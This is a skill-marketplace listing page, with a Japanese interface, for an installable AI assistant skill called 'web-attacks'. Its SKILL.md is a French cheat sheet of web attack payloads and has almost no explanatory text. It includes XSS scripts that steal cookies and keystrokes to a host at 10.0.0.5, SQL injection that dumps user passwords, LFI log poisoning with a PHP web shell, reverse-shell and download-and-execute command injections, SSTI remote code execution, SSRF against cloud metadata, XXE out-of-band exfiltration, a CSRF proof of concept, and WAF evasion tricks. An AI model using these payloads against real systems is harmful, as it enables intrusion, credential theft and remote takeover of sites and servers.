メニュー
Guide complet des attaques web — XSS, CSRF, SSTI, LFI/RFI, command injection, SQLi avancé, file upload bypass, XXE, IDOR, SSRF, et techniques de contournement WAF.
デフォルトでは、最初にソースを確認する Prompt が選択されています。直接コマンドに切り替えるか、ローカルコピーをダウンロードすることもできます。
インストールを決める前に、SKILL.md と SkillsMP に表示されている付属ファイルをお読みください。
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
直接コマンドでは確認用 Prompt が省略されます。実行前にソースを確認してください。
npx skills add https://github.com/JohnNuwan/EVA_CORE --skill web-attacksコマンドは1行のまま表示されます。コピー前に横へスクロールして全体を確認してください。
ローカルで確認しますか？SkillsMP が現在取得できるファイルをダウンロードできます。
SOC 職業分類に基づく
SKILL.md を表示中
| name | web-attacks |
| description | Guide complet des attaques web — XSS, CSRF, SSTI, LFI/RFI, command injection, SQLi avancé, file upload bypass, XXE, IDOR, SSRF, et techniques de contournement WAF. |
| Type | Description | Impact |
|---|---|---|
| Reflected | Payload dans la réponse immédiate | Vol de cookie, phishing |
| Stored | Payload stocké en base | Permanent, tous les visiteurs |
| DOM-based | Injection côté client JS | Contourne WAF |
<script>alert(1)</script>
<script>fetch('http://attacker/?c='+document.cookie)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe src="javascript:alert(1)">
<details open ontoggle=alert(1)>
<!-- Vol de cookie -->
<script>new Image().src='http://10.0.0.5:8888/?c='+document.cookie</script>
<!-- Keylogger -->
<script>document.onkeypress=function(e){fetch('http://10.0.0.5:8888/?k='+e.key)}</script>
<!-- Si <script> bloqué -->
<img src=x onerror="alert(1)">
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
<!-- Si espace bloqué -->
<img/src=x/onerror=alert(1)>
<!-- Si () bloqués -->
<img src=x onerror=alert`1`>
' OR '1'='1
' OR 1=1--
admin' --
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT 1,2,3--
# Voir la skill outils-pentest pour sqlmap complet
# Requêtes manuelles utiles :
' UNION SELECT table_name,NULL FROM information_schema.tables--
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT username,password FROM users--
# Tests de base
?page=../../../../etc/passwd
?page=/etc/passwd
?page=....//....//....//etc/passwd
?page=..%252f..%252f..%252fetc/passwd # Double URL encoding
?page=%2e%2e%2f%2e%2e%2fetc%2fpasswd # URL encoding complet
# PHP wrappers
?page=php://filter/convert.base64-encode/resource=index.php
?page=php://filter/read=convert.base64-encode/resource=config.php
?page=expect://whoami # Si expect activé
?page=data://text/plain,<?php system('whoami');?>
# Log poisoning (si logs accessibles)
# 1. Injecter <?php system($_GET['cmd']);?> dans User-Agent
# 2. Inclure le fichier de log
?page=/var/log/apache2/access.log&cmd=whoami
# Si allow_url_include=On
?page=http://10.0.0.5/shell.txt
?page=ftp://10.0.0.5/shell.txt
# Tests
| whoami
; whoami
|| whoami
&& whoami
`whoami`
$(whoami)
# Linux
; nc 10.0.0.5 4444 -e /bin/bash
| bash -i >& /dev/tcp/10.0.0.5/4444 0>&1
# Windows
| powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.5/rev.ps1')"
& certutil -urlcache -split -f http://10.0.0.5/nc.exe C:\temp\nc.exe
# Extension blacklist
shell.php → shell.pHP5, shell.php., shell.php%00, shell.pHp
shell.php → shell.php.jpg (double extension)
shell.php → shell.PhP (casse)
# Content-Type bypass
# Changer Content-Type: application/x-php → image/jpeg
# Magic bytes
# Ajouter en début de fichier :
# PNG : 89 50 4E 47
# JPEG : FF D8 FF E0
# GIF : GIF89a;
# .htaccess upload
# Uploader un .htaccess :
# AddType application/x-httpd-php .jpg
# Puis uploader shell.jpg → exécuté comme PHP
{{7*7}} # Jinja2/Twig → 49
${7*7} # Freemarker
<%= 7*7 %> # ERB
#{7*7} # Pug/Jade
{{= 7*7 }} # Mojolicious
${{7*7}} # Django (rare)
# Lecture de fichier
{{ ''.__class__.__mro__[1].__subclasses__() }}
{{ config }}
{{ get_flashed_messages.__globals__.__builtins__.open('/etc/passwd').read() }}
# RCE Jinja2
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{x()._module.__builtins__['__import__']('os').popen('id').read()}}
{% endif %}
{% endfor %}
# Tests
?url=http://localhost/admin
?url=http://127.0.0.1:8080
?url=http://169.254.169.254/latest/meta-data/ # AWS metadata
?url=http://[::1]:80 # IPv6 localhost
?url=http://0x7f000001/ # Hex encoding
?url=http://2130706433/ # Decimal encoding
?url=file:///etc/passwd
# Cloud metadata
# AWS : http://169.254.169.254/latest/meta-data/
# GCP : http://metadata.google.internal/
# Azure : http://169.254.169.254/metadata/instance
<!-- XXE Classique -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
<!-- XXE OOB (Out-of-Band) -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://10.0.0.5/evil.dtd">
%xxe;
]>
<!-- evil.dtd (sur serveur attaquant) -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://10.0.0.5/?data=%file;'>">
%eval;
<!-- PoC HTML -->
<html>
<body>
<form action="http://cible.com/change-password" method="POST">
<input type="hidden" name="new_password" value="hacked">
<input type="submit" value="Submit">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
# Tests
GET /user/profile/1
GET /user/profile/2 # Accéder à un autre profil ?
GET /invoice/2024/001.pdf
GET /invoice/2024/002.pdf # Accéder à une autre facture ?
# IDOR + GUID non prédictibles
# Chercher les endpoints qui exposent des IDs dans d'autres sources
# (JS, API publique, emails, partages...)
# SQLi
SELECT → SeLeCt, sel%00ect, /*!50000SELECT*/
' OR '1'='1 → ' OR 0x31=0x31
UNION SELECT → UNION/**/SELECT
# XSS
<script> → <scr<script>ipt>
alert() → alert``, prompt``, confirm``
onerror → onerror%0a
# Path traversal
../ → ....//, ..%252f..%252f, ..%c0%af
==========================================
XSS : <img src=x onerror=alert(1)>
SSTI : {{7*7}}
LFI : ?page=../../../../etc/passwd
SQLi : ' OR '1'='1'--
CMDi : ; whoami
SSRF : ?url=http://169.254.169.254/
XXE : <!ENTITY xxe SYSTEM "file:///etc/passwd">
IDOR : Changer l'ID dans l'URL
==========================================